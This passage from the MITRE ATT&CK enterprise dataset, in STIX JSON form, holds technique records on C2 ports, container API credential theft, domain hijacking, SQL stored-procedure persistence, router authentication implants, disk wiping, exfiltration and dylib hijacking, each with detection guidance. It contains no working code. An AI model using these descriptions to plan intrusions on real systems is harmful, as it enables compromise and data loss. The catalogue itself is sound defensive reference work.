Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","type":"attack-pattern","created":"2017-05-31T21:30:42.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","external_id":"T1043","url":"https://attack.mitre.org/techniques/T1043"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-06T17:54:28.071Z","name":"Commonly Used Port","description":"**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Jay Chen, Palo Alto Networks","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","type":"attack-pattern","created":"2021-03-31T14:01:52.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.007","url":"https://attack.mitre.org/techniques/T1552/007"},{"source_name":"Docker API","url":"https://docs.docker.com/engine/api/v1.41/","description":"Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021."},{"source_name":"Kubernetes API","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."},{"source_name":"Unit 42 Unsecured Docker Daemons","url":"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/","description":"Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."}],"modified":"2022-04-01T13:11:10.849Z","name":"Container API","description":"Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","User Account: User Account Authentication","File: File Access"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy Galloway"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","created":"2020-10-01T00:51:28.513Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1584.001","url":"https://attack.mitre.org/techniques/T1584/001"},{"source_name":"Krebs DNS Hijack 2019","url":"https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/","description":"Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022."},{"source_name":"ICANNDomainNameHijacking","url":"https://www.icann.org/groups/ssac/documents/sac-007-en","description":"ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017."},{"source_name":"Microsoft Sub Takeover 2020","url":"https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover","description":"Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)","modified":"2022-04-20T14:10:48.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Domains","x_mitre_detection":"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Domain Name: Domain Registration","Domain Name: Passive DNS","Domain Name: Active DNS"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Carlos Borges, @huntingneo, CIP","Lucas da Silva Pereira, @vulcanunsec, CIP","Kaspersky"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","type":"attack-pattern","created":"2019-12-12T14:59:58.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1505.001","url":"https://attack.mitre.org/techniques/T1505/001"},{"source_name":"NetSPI Startup Stored Procedures","url":"https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/","description":"Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019."},{"source_name":"Kaspersky MSSQL Aug 2019","url":"https://securelist.com/malicious-tasks-in-ms-sql-server/92167/","description":"Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019."},{"source_name":"Microsoft xp_cmdshell 2017","url":"https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017","description":"Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019."},{"source_name":"Microsoft CLR Integration 2017","url":"https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017","description":"Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019."},{"source_name":"NetSPI SQL Server CLR","url":"https://blog.netspi.com/attacking-sql-server-clr-assemblies/","description":"Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019."}],"modified":"2020-03-25T23:30:20.638Z","name":"SQL Stored Procedures","description":"Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content"],"x_mitre_permissions_required":["Administrator","SYSTEM","root"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","type":"attack-pattern","created":"2020-10-19T17:58:04.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1556.004","url":"https://attack.mitre.org/techniques/T1556/004"},{"source_name":"Mandiant - Synful Knock","url":"https://www.mandiant.com/resources/synful-knock-acis","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."}],"modified":"2021-12-14T23:14:26.107Z","name":"Network Device Authentication","description":"Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","type":"attack-pattern","created":"2020-02-20T22:06:41.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1561.001","url":"https://attack.mitre.org/techniques/T1561/001"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."},{"url":"https://docs.microsoft.com/sysinternals/downloads/sysmon","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","source_name":"Microsoft Sysmon v6 May 2017"}],"modified":"2020-03-28T22:53:20.162Z","name":"Disk Content Wipe","description":"Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Modification","Drive: Drive Access","Driver: Driver Load","Process: Process Creation","Command: Command Execution"],"x_mitre_impact_type":["Availability"],"x_mitre_permissions_required":["SYSTEM","root","Administrator","User"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","created":"2020-03-15T15:37:47.583Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1048.003","url":"https://attack.mitre.org/techniques/T1048/003"},{"source_name":"University of Birmingham C2","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ","modified":"2022-04-12T19:57:45.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Exfiltration Over Unencrypted Non-C2 Protocol","x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Command: Command Execution","File: File Access","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","type":"attack-pattern","created":"2020-03-16T15:23:30.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.004","url":"https://attack.mitre.org/techniques/T1574/004"},{"external_id":"CAPEC-471","source_name":"capec","url":"https://capec.mitre.org/data/definitions/471.html"},{"source_name":"Wardle Dylib Hijack Vulnerable Apps","url":"https://objective-see.com/blog/blog_0x46.html","description":"Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021."},{"source_name":"Wardle Dylib Hijacking OSX 2015","url":"https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf","description":"Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021."},{"source_name":"Github EmpireProject HijackScanner","url":"https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py","description":"Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021."},{"source_name":"Github EmpireProject CreateHijacker Dylib","url":"https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py","description":"Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021."},{"url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","source_name":"Writing Bad Malware for OSX"},{"source_name":"wardle artofmalware volume1","url":"https://taomm.org/vol1/pdfs.html","description":"Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021."},{"source_name":"MalwareUnicorn macOS Dylib Injection MachO","url":"https://malwareunicorn.org/workshops/macos_dylib_injection.html#5","description":"Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021."},{"source_name":"Apple Developer Doco Archive Run-Path","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html","description":"Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021."}],"modified":"2021-04-27T20:19:15.212Z","name":"Dylib Hijacking","description":"Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>, and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the <code>otool -l</code> command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Modification","Module: Module Load"],"x_mitre_defense_bypassed":["Application control"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","type":"attack-pattern","created":"2020-10-19T19:53:10.576Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1601.002","url":"https://attack.mitre.org/techniques/T1601/002"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:49:02.660Z","name":"Downgrade System Image","description":"Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Many embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","type":"attack-pattern","created":"2020-03-13T20:26:46.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1078.003","url":"https://attack.mitre.org/techniques/T1078/003"}],"modified":"2021-10-18T17:45:48.323Z","name":"Local Accounts","description":"Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Metadata","Logon Session: Logon Session Creation","User Account: User Account Authentication"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1211","external_id":"T1211"}],"modified":"2020-03-29T20:00:46.900Z","name":"Exploitation for Defense Evasion","description":"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Anti-virus","System access controls"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Casey Smith","Matthew Demaske, 